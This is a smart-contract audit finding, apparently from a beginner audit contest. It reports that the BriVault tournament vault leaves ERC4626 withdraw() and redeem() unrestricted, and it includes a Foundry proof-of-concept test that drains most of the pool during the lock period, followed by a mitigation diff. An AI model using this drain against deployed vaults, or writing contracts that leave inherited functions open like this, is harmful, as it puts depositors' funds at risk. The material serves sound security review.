BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

ERC4626 withdraw/redeem bypass the tournament lock period and can drain funds before/during tournament

0x_bob_0x

Root + Impact

Description

The BriVault contract implements a custom withdraw() function with game logic restrictions. However, the contract inherits from ERC4626 which provides unrestricted withdrawal functions.

As a result, users can still call these inherited functions directly to withdraw their underlying ERC20 assets at any time, bypassing the tournament’s event schedule and winner selection logic. This completely undermines the intended design, since users can withdraw before the event ends or after knowing partial outcomes.

// From ERC4626 - NOT overridden by BriVault
function withdraw(uint256 assets, address receiver, address owner) public virtual returns (uint256)
function redeem(uint256 shares, address receiver, address owner) public virtual returns (uint256)

Risk

Likelihood: High

  • This issue is trivial to exploit. Any user or bot familiar with ERC-4626’s ABI can call withdraw() or redeem() directly. No special timing or conditions are needed.

Impact:

  • Users can drain the vault’s assets prematurely.

  • The contract fails to enforce its fundamental rule: assets must remain locked until the tournament concludes.

Proof of Concept

Step 1: Users deposit for upcoming World Cup
Vault balance: 29.55 ETH (3 users × 10 ETH each minus fees)

Step 2: Event starts - World Cup begins!
Deposits should be LOCKED until event ends

Step 3: User1 tries custom withdraw() during event
Result: REVERTED (winnerNotSet) - GOOD!

Step 4: User1 uses ERC4626 redeem() during event
Result: SUCCESS - User1 withdrew during event!
Assets received: 9.85 ETH

Step 5: User2 also uses ERC4626 withdraw()
Result: SUCCESS - User2 also withdrew!
Assets received: 9.85 ETH

  • Vault before drain: 29.55 ETH

  • Vault after drain: 9.85 ETH

  • Amount drained: 19.7 ETH (66%)

Step 6: Event ends

Step 7: User3 (winner) tries to withdraw

  • Expected: 29.55 ETH (all deposits)

  • Actual: 9.85 ETH

function test_ERC4626_BypassGameLogic() public {
​
// User1 deposits 10 ETH
vm.startPrank(user1);
mockToken.approve(address(briVault), 10 ether);
briVault.deposit(10 ether, user1);
briVault.joinEvent(5);
vm.stopPrank();
​
// User2 deposits 10 ETH
vm.startPrank(user2);
mockToken.approve(address(briVault), 10 ether);
briVault.deposit(10 ether, user2);
briVault.joinEvent(10);
vm.stopPrank();
​
// User3 deposits 10 ETH
vm.startPrank(user3);
mockToken.approve(address(briVault), 10 ether);
briVault.deposit(10 ether, user3);
briVault.joinEvent(18);
vm.stopPrank();
​
uint256 vaultBalance = mockToken.balanceOf(address(briVault));
​
// Step 2: Event starts (deposits locked)
vm.warp(eventStartDate + 1);
​
// Step 3: User1 tries custom withdraw() - FAILS (as expected)
vm.startPrank(user1);
vm.expectRevert(BriVault.winnerNotSet.selector);
briVault.withdraw();
​
// Step 4: User1 uses ERC4626 redeem() - SUCCEEDS
briVault.redeem(shares1, user1, user1);
vm.stopPrank();
​
// Step 5: User2 also uses ERC4626 withdraw() - SUCCEEDS!
vm.startPrank(user2);
uint256 maxAssets = briVault.maxWithdraw(user2);
briVault.withdraw(maxAssets, user2, user2);
vm.stopPrank();
​
uint256 vaultBalanceAfterDrain = mockToken.balanceOf(address(briVault));
uint256 amountDrained = vaultBalance - vaultBalanceAfterDrain;
uint256 percentDrained = (amountDrained * 100) / vaultBalance;
​
// Step 7: Event ends
vm.warp(eventEndDate + 1);
vm.prank(owner);
briVault.setWinner(18);
​
// Step 8: User3 (WINNER) tries to withdraw
vm.startPrank(user3);
uint256 user3BalanceBefore = mockToken.balanceOf(user3);
briVault.withdraw();
uint256 user3BalanceAfter = mockToken.balanceOf(user3);
vm.stopPrank();
​
uint256 user3Winnings = user3BalanceAfter - user3BalanceBefore;
​
// Assertions
assertGt(amountDrained, 0, "Vault should have been drained");
assertGt(percentDrained, 65, "Should drain >65% of pool");
assertLt(user3Winnings, 29.55 ether, "Winner should get less than expected");
}

Recommended Mitigation

Explicitly override and disable the inherited withdraw() and redeem() functions.

Or the other option is to override them with proper restrictions to perform valid withdrawals.

+function withdraw(uint256 assets, address receiver, address owner) public virtual returns (uint256) {
+ revert("Disabled: use withdraw() after event ends");
+}
​
+function redeem(uint256 shares, address receiver, address owner) public virtual returns (uint256) {
+ revert("Disabled: use withdraw() after event ends");
+}
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unrestricted ERC4626 functions

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!